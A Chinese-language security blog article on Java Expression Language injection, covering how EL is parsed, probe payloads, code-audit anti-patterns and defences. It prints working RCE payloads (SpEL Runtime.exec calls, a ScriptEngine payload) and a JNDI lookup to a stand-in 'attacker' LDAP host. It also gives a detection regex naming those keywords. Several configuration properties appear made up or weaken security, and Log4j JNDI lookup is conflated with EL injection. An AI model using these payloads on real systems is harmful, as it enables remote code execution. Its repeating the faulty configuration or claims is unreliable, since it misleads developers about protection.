1. 表达式语言(EL)注入初探:当动态解析遇上恶意输入
第一次遇到EL注入漏洞是在一个企业级Java Web应用的安全审计中。当时系统日志里频繁出现奇怪的${jndi:ldap://xxx}字符串,而开发团队却认为这只是"用户输入的特殊字符"。直到我们演示了如何通过一个简单的注册表单实现远程代码执行,整个会议室瞬间安静——这就是EL注入的威力。
表达式语言(Expression Language)原本是JSP中用于简化数据访问的友好设计,它允许开发者用${user.name}这样的简洁语法替代繁琐的Java代码。但当用户输入未经严格过滤就直接交给EL解析器处理时,这个特性就会变成攻击者的跳板。近年来随着Log4j漏洞的爆发,EL注入更是成为Web安全领域的焦点话题。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. EL运行机制与危险边界
2.1 表达式语言的底层工作原理
以最常见的JSP EL为例,当容器遇到${user.role}时:
- 解析器会先识别出
user和role两个标识符 - 依次从pageContext→request→session→application作用域查找user对象
- 通过反射调用getRole()方法获取值
- 最终将结果输出到响应流
这种动态解析机制在以下场景尤为危险:
jsp复制<!-- 危险示例:直接拼接用户输入 -->
<c:out value="${param.searchTerm}"/>
<!-- 更危险的示例:在Spring表达式(SpEL)中 -->
@Value("#{systemProperties['user.dir']}")
2.2 高危EL特性一览表
| 特性类型 | 示例表达式 | 潜在风险 |
|---|---|---|
| 对象方法调用 | ${user.setAdmin(true)} |
修改关键对象状态 |
| 静态方法调用 | ${T(java.lang.Runtime)} |
执行任意Java类方法 |
| JNDI查找 | ${jndi:ldap://attacker} |
触发远程类加载(Log4j漏洞原理) |
| 算术运算 | ${1+1} |
可能用于绕过输入验证 |
关键发现:EL 3.0+版本支持方法调用和对象实例化后,攻击面显著扩大
3. 实战EL注入漏洞挖掘
3.1 黑盒测试探测技巧
在渗透测试中,我常用以下payload探测EL注入点:
-
基础探测(检查是否执行)
code复制${7*7} → 如果返回49则存在漏洞 ${1.getClass()} → 触发隐式方法调用 -
上下文突破(Spring环境)
java复制${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())} -
内存马注入(Tomcat环境)
jsp复制${pageContext.request.getSession().setAttribute("malicious", new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')"))}
3.2 白代码审计要点
在代码审查时重点关注这些危险模式:
java复制// 反模式1:直接拼接EL
String query = "SELECT * FROM users WHERE id = " + request.getParameter("id");
elEvaluator.evaluate(query);
// 反模式2:错误的过滤逻辑
if(input.contains("${")) { // 容易被unicode/大小写绕过
throw new IllegalInputException();
}
// 反模式3:允许解析的类未限制
SpelExpressionParser parser = new SpelParserConfiguration(
SpelCompilerMode.IMMEDIATE,
this.getClass().getClassLoader() // 危险:使用应用类加载器
);
4. 企业级防御方案设计
4.1 输入过滤的黄金法则
基于OWASP推荐标准,我们团队采用的过滤流程:
- 规范化处理 → 将输入转为NFKC标准化形式
- 关键词检测 → 使用正则
(?i)\${\s*?(?:jndi|runtime|process|class)\W - 语义分析 → 使用ANTLR解析语法树检测危险节点
- 沙箱执行 → 在受限环境中测试表达式行为
4.2 运行时防护配置示例
对于Spring Boot应用,建议在application.properties中添加:
properties复制# 禁用危险SpEL特性
spring.expression.safe.mode=true
spring.spel.ignore.private=false
# Tomcat EL限制
org.apache.el.parser.COERCE_TO_ZERO=false
org.apache.el.parser.SKIP_IDENTIFIER_CHECK=true
4.3 架构级解决方案对比
| 方案类型 | 实现方式 | 优点 | 缺点 |
|---|---|---|---|
| 表达式模板 | 提前编译所有合法EL表达式 | 零运行时开销 | 开发体验差 |
| 安全沙箱 | 自定义ClassLoader限制资源 | 灵活性强 | 影响性能(约15%吞吐下降) |
| 代理过滤 | 在API网关层清洗所有请求 | 对应用透明 | 无法防护内部调用 |
| JVM策略文件 | 配置java.policy限制权限 | 系统级防护 | 维护成本高 |
5. 前沿攻防技术演进
最近出现的攻击变种值得注意:
- EL逃逸技术:通过
${''.getClass().forName('javax.script.ScriptEngineManager')}绕过字符串过滤 - 内存驻留攻击:利用表达式在Session中持久化恶意对象
- 类型混淆攻击:通过
${param.x instanceof T(evilClass)}触发类加载
防御方也在进化,例如:
- GraalVM提供的Native Image技术可以提前消除反射调用
- Spring 6.0引入的AOT编译能固化表达式解析路径
- JDK 17的JEP 403强封装限制关键类访问
在最近一次红蓝对抗中,我们发现攻击者开始滥用蜜蜂EL编辑器的自动补全功能生成混淆payload。这提醒我们:安全防护必须跟上开发工具的发展节奏。
